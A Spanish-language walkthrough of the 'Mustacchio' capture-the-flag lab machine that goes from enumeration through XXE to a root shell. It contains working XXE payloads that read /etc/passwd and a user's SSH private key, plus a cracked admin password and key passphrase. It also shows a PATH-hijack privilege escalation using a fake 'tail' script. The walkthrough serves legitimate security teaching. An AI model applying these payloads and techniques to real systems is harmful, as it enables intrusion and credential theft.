Introducción

Mustacchio es una máquina de Linux boot2root de dificultad fácil. Primero comenzamos enumerando y encontramos un backup de una base de datos sql. Una vez crackeada la contraseña de admin que encontramos en el backup, podemos logearnos en una interfaz web en la que se puede enviar código XML. Utilizamos XXE para obtener la clave privada SSH de un usuario de la máquina. Por último, escalamos privilegios mediante la variable PATH y un ejecutable de root con el SUID setteado.

Enumeración

Escaneo de puertos

Comenzamos escaneando con nmap y encontramos los siguientes servicios.

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-14 10:42 EDT
Nmap scan report for 10.10.164.21
Host is up (0.069s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
|   256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
|_  256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Mustacchio | Home
8765/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.21 seconds

Enumeración web

Primero miramos que hay en el puerto 80. Nos encontramos la siguiente página estática.

Pagina web Mustacchio

Analizamos el código fuente pero no encontramos nada relevante. Entonces probamos a enumerar directorios.

gobuster dir --wordlist /usr/share/dirb/wordlists/big.txt --url 10.10.164.21 -x php,html
/about.html           (Status: 200) [Size: 3152]
/blog.html            (Status: 200) [Size: 3172]
/contact.html         (Status: 200) [Size: 1450]
/custom               (Status: 301) [Size: 313] [--> http://10.10.164.21/custom/]
/fonts                (Status: 301) [Size: 312] [--> http://10.10.164.21/fonts/] 
/gallery.html         (Status: 200) [Size: 1950]                                 
/images               (Status: 301) [Size: 313] [--> http://10.10.164.21/images/]
/index.html           (Status: 200) [Size: 1752]                                 
/robots.txt           (Status: 200) [Size: 28] 

Esta enumeración revela el directorio /custom, el cual tiene un archivo de backup. Contenido de custom

Descargamos el archivo y descubrimos que es de una base de datos SQLite.

$ file users.bak
users.bak: SQLite 3.x database, last written using SQLite version 3034001

Lo abrimos con sqlite3 users.bak. Ejecutamos el comando .tables para obtener una lista de las tablas, y ejecutamos .dump users para sacar los contenidos de la tabla users.

sqlite> .tables
users
sqlite> .dump users
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users(username text NOT NULL, password text NOT NULL);
INSERT INTO users VALUES('admin','1868e36a6d2b17d4c2745f1659433a54d4bc5f4b');
COMMIT;

Encontramos un hash de la contraseña del usuario ‘admin’. Utilizamos el comando hashid para analizar el hash y nos muestra que es un hash SHA-1 hash. Probamos a usar CrackStation para sacar la contraseña en texto plano.

Captura de pantalla de crackstation

Ahora que tenemos la contraseña de admin, bulldog19, continuemos enumerando.

Panel de login

En el servicio nginx que esta corriendo en el puerto 8765 hay un panel de login. Admin panel

Conseguimos logearnos con los credenciales que obtuvimos en el paso anterior. En el panel de login hay un campo para introducir texto. Campo de texto

Sin embargo, si intentamos enviar un comentario obtenemos una alerta javascript que dice “Insert XML Code!”. Alerta XML

El formulario espera un documento XML. Podemos testear si se trata de una vulnerabilidad XXE, pero primero necesitamos saber cual es el formato de entrada.

Analizamos el código fuente y obtenemos la siguiente información:

  1. Hay un usuario llamado “barry” que puede logearse en la maquina por ssh con un archivo de clave privada.
  2. Hay un archivo en /auth/dontforget.bak que puede contener información útil.

Primero descargamos el archivo .bak y descubrimos que es un documento XML que nos muestra el formato de entrada que debemos utilizar.

<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>his paragraph was a waste of time and space. If you had not read this and I had not typed this you and I could’ve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You could’ve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.</com>
</comment> 

Obtener acceso

XXE

Una vez conocemos el formato de input, vamos a probar a realizar XXE. Primero leemos el fichero /etc/passwd para conocer los usuarios en la máquina objetivo.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE comment [<!ENTITY read SYSTEM "/etc/passwd"> ]>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>&read;</com>
</comment>

Output de XXE

Confirmamos que barry es un usuario en la máquina y que hay otro usuario llamado “joe”. Ahora intentamos leer el fichero de clave privada de barry.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE comment [<!ENTITY read SYSTEM "/home/barry/.ssh/id_rsa"> ]>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>&read;</com>
</comment>

Output de XXE 2

Sin embargo, la clave esta protegida por una frase de paso. Para poder crackearla, necesitamos utilizar ssh2john y john.

$ python /usr/share/john/ssh2john.py sshhh > sshhh.hash
$ john --wordlist=~/rockyou.txt sshhh.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
urieljames       (sshhh)
1g 0:00:00:07 DONE (2021-10-14 12:55) 0.1282g/s 1838Kp/s 1838Kc/s 1838KC/sa6_123..*7¡Vamos!
Session completed

Ahora que tenemos la frase de paso podemos logearnos en la máquina.

user.txt

La flag de user esta en el directorio home de barry.

Escalado de privilegios

Primero, comenzamos buscando si existe algun fichero mal configurado con SUID activado. Encontramos un fichero con SUID cuyo owner es root, situado en /home/joe/live_log.

barry@mustacchio:~$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/at
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/newuidmap
/usr/bin/gpasswd
/home/joe/live_log
/bin/ping
/bin/ping6
/bin/umount
/bin/mount
/bin/fusermount
/bin/su

Leemos los contenidos del fichero con el comando strings y podemos observar que ejecuta el comando tail sin especificar el path absoluto. Por lo tanto, podemos crear un script malicioso con el nombre de “tail” e insertarlo en una posición de la variable PATH para que este se ejecute en lugar del comando tail.

Creamos nuestro script malicioso en /tmp y le damos permisos de ejecución con

chmod +x /tmp/tail

#!/bin/bash

bash -p

Después, añadimos el directorio /tmp al principio de nuestra variable PATH.

barry@mustacchio:/tmp$ export PATH=/tmp:$PATH

Por último, ejecutamos el script live_log.

barry@mustacchio:/tmp$ /home/joe/live_log 
root@mustacchio:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1003(barry)
root@mustacchio:/tmp# ls /root
root.txt